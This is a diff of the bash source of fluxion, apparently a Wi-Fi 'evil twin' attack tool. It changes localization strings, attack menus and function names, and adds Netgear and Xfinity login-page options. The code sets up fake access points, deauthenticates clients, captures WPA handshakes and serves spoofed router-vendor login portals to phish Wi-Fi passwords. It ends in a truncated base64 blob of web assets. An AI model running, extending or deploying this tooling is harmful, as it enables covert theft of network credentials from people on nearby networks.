>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="Sledování WIFI" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Skenování cíle" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Vyberte metodu útočení" - askAP_option_1="FakeAP - Hostapd ("$red"Doporučeno)" - askAP_option_2="FakeAP - airbase-ng (Pomalejší připojení)" - askAP_option_4="Bruteforce - (Potřebný Handshake)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="METHODA ZÍSKÁNÍ HESLA" - askauth_option_1="Handshake ("$red"Doporučeno)" - askauth_option_2="Wpa_supplicant(Více chyb)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Potvrzení Handshaku" - deauthforce_option_1="aircrack-ng (Minutí šance)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Nahrát Handshake*" - deauthMENU_option_1="Zkontrolovat handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Vyberte" - header_ConnectionRESET="Vyberte přihlašovací stránku" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Zpět" - general_error_1="Nenalezeno" - general_case_error="Neznámý výběr. Vyberte znovu" - general_exitmode="Čištění a zavírání" - general_exitmode_1="Vypínání monitorovacího rozhraní" - general_exitmode_2="Vypínání rozhraní" - general_exitmode_3="Vypínání "$grey"směrování packetů" - general_exitmode_4="Čištění "$grey"iptables" - general_exitmode_5="Obnovování "$grey"tput" - general_exitmode_6="Restartování "$grey"Network-Manager" - general_exitmode_7="Vyčištění proběhlo úspěšně!" - general_exitmode_8="Děkujeme pro používání programu fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Aktivní klienti" - selection_2="Select target. Pro znovuskenování napište$red r$transparent" - -} - -function greek { - header_setinterface="Επιλέξτε μία διεπαφή" - setinterface_error="Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος..." - - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_choosescan="Επίλεξτε κανάλι" - choosescan_option_1="Όλα τα κανάλια" - choosescan_option_2="Συγκεκριμένο(α) κανάλι(α)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - scanchan_option_1="Μονό κανάλι" - scanchan_option_2="Πολλαπλά κανάλια" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scan="Εποπτεία Wi-Fi" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_scanchan="Σκανάρισμα στόχου" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askAP="Επίλογη τύπου επίθεσης" - askAP_option_1="FakeAP - Hostapd ("$red"Συνιστάται)" - askAP_option_2="FakeAP - airbase-ng (Πιό αργή σύνδεση)" - askAP_option_4="Bruteforce - (Απαιτείται το Handshake)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης" - askauth_option_1="Handshake ("$red"Συνιστάται)" - askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthforce="Επαλήθευση Handshake" - deauthforce_option_1="aircrack-ng (Πιθανότητα αποτυχίας)" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_deauthMENU="*Λήψη του Handshake*" - deauthMENU_option_1="Έλεγχος του handshake" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - header_webinterface="Επίλεξτε την επιλογή σας" - header_ConnectionRESET="Επίλογη Σελίδας Εισόδου" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - general_back="Πίσω" - general_error_1="Δέν_βρέθηκε" - general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά" - general_exitmode="Καθαρισμός και τερματισμός" - general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος" - general_exitmode_2="Απενεργοποίηση περιβάλλοντος" - general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων" - general_exitmode_4="Καθαρισμός "$grey"iptables" - general_exitmode_5="Επαναφορά "$grey"tput" - general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου" - general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" - general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" - # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - selection_1="Ενεργοί πελάτες" - selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent" - -} - # Choose Interface function setinterface { @@ -1534,8 +612,8 @@ function setinterface { done # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` + readarray -t wirelessifaces < <(./lib/airmon/airmon |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`./lib/airmon/airmon | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then @@ -1571,8 +649,8 @@ function setinterface { setinterface fi - readarray -t naggysoftware < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') + readarray -t naggysoftware < <(./lib/airmon/airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(./lib/airmon/airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 @@ -1597,7 +675,7 @@ function setinterface { break; done - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFIMONITOR=$(./lib/airmon/airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI @@ -1609,23 +687,11 @@ function setinterface { exitmode fi - deltax -} - -function skipme { - FLUX_DEBUG=1 - Host_SSID="DEV" - Host_ENC="WPA 2" - channel="12" - speed="54" - Host_MAC="XX:a5:89:ad:e9:XX" - mac="$Host_MAC" - Host_MAC_MODEL="XX:a5:89:ad:e9:XX" - askAP + ghost } # Check files -function deltax { +function ghost { conditional_clear CSVDB=dump-01.csv @@ -1648,9 +714,9 @@ function choosescan { conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $choosescan_option_1 " + echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " @@ -1674,7 +740,7 @@ function Scanchan { top echo " " - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan " + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " @@ -1714,7 +780,7 @@ function selection { if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Error: your wireless card isn't supported " + echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then @@ -1727,7 +793,7 @@ function selection { fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break + ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` @@ -1781,7 +847,7 @@ function selection { fi if [[ $choice -eq "r" ]]; then - deltax + ghost fi idlength=${aidlength[$choice]} @@ -1827,12 +893,11 @@ function askAP { infoap - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_askAP" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $askAP_option_1" + echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $askAP_option_4" - echo -e " "$red"["$yellow"4"$red"]"$red" $general_back" $transparent"" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -1840,9 +905,7 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; - 4 ) fakeapmode="Aircrack-ng"; Bruteforce; break;; - 5 ) selection; break ;; + 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done @@ -1860,11 +923,11 @@ function askauth { top while true; do - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_askauth" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $askauth_option_1" + echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $general_back" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -1903,10 +966,8 @@ function handshakelocation { echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo - echo -n "Path: " - echo -ne "$red" - echo -ne "$transparent" - + echo -ne "Path: " + if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi @@ -1989,11 +1050,11 @@ function deauthforce { top while true; do - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthforce" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $deauthforce_option_1" - echo -e " "$red"["$yellow"2"$red"]"$transparent" pyrit" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $general_back" + echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent + echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -2029,9 +1090,9 @@ function askclientsel { while true; do top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthMENU" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Deauth all" + echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " @@ -2044,7 +1105,7 @@ function askclientsel { 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; @@ -2114,12 +1175,12 @@ function deauthMENU { clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthMENU " + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo - echo -e " "$red"["$yellow"1"$red"]"$transparent" $deauthMENU_option_1" - echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back (Select another deauth method)" + echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" + echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' @@ -2207,9 +1268,9 @@ function certssl { conditional_clear top echo " " - echo -e ""$red"["$yellow"i"$red"]"$transparent" Certificate invalid or not present, please choose an option" + echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Create a SSL certificate" + echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " @@ -2235,7 +1296,7 @@ function certssl { echo " " echo " Certificate invalid or not present, please choice" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Create a SSL certificate" + echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " @@ -2278,18 +1339,16 @@ function webinterface { infoap echo - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_webinterface" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo - echo -e " "$red"["$yellow"1"$red"]"$transparent" Web Interface" - echo -e " "$red"["$yellow"2"$red"]"$transparent" Bruteforce" - echo -e " "$red"["$yellow"3"$red"]"$transparent" \e[1;31mExit"$transparent"" + echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" + echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; - 2 ) matartodo; Bruteforce2; break;; - 3 ) matartodo; exitmode; break;; + 2 ) matartodo; exitmode; break;; esac done fi @@ -2308,7 +1367,7 @@ function ConnectionRESET { n=1 echo - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_ConnectionRESET" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` @@ -2333,7 +1392,8 @@ function ConnectionRESET { echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` - echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese - Brazilian (NEUTRA)";n=`expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` @@ -2342,13 +1402,14 @@ function ConnectionRESET { echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` - echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ITA]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " @@ -2578,7 +1639,7 @@ function ConnectionRESET { NEUTRA break - elif [ "$webconf" = "17" ]; then + elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB @@ -2690,41 +1751,51 @@ function ConnectionRESET { NEUTRA break - elif [ "$webconf" = "25" ]; then + elif [ "$webconf" = 25 ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN + DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ + DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ + DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN + DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN + DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN + NEUTRA + SVNeak + + elif [ "$webconf" = "26" ]; then BELKIN break - elif [ "$webconf" = "26" ]; then + elif [ "$webconf" = "27" ]; then NETGEAR break - elif [ "$webconf" = "27" ]; then + elif [ "$webconf" = "28" ]; then HUAWEI break - elif [ "$webconf" = "28" ]; then + elif [ "$webconf" = "29" ]; then VERIZON break - elif [ "$webconf" = "29" ]; then + elif [ "$webconf" = "30" ]; then NETGEAR2 break - elif [ "$webconf" = "30" ]; then + elif [ "$webconf" = "31" ]; then ARRIS2 break - elif [ "$webconf" = "31" ]; then + elif [ "$webconf" = "32" ]; then VODAFONE break - elif [ "$webconf" = "32" ]; then - TPLINK - break - elif [ "$webconf" = "33" ]; then - TPLINK_ITA + TPLINK break elif [ "$webconf" = "34" ]; then @@ -2752,6 +1823,14 @@ function ConnectionRESET { break elif [ "$webconf" = "40" ]; then + Login-Netgear + break + + elif [ "$webconf" = "41" ]; then + Login-Xfinity + break + + elif [ "$webconf" = "42" ]; then conditional_clear webinterface break @@ -3026,7 +2105,7 @@ function attack { while true; do top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Attack in progress .." + echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" @@ -3195,7 +2274,7 @@ function handshakecheck { killall wpa_passphrase &>$flux_output_device echo \" - FLUX $version by deltax + FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) @@ -3260,15 +2339,6 @@ function matartodo { } - - -############################################## < STUFF > ############################################ - - - - - - ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface @@ -3278,2223 +2348,7 @@ function NEUTRA { mkdir $DUMP_PATH/data fi - echo "UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp -KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj -/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// -+Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ -IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f -/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ -uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su -BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf -2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 -0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 -/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 -16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s -+fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD -8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 -R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt -BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW -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 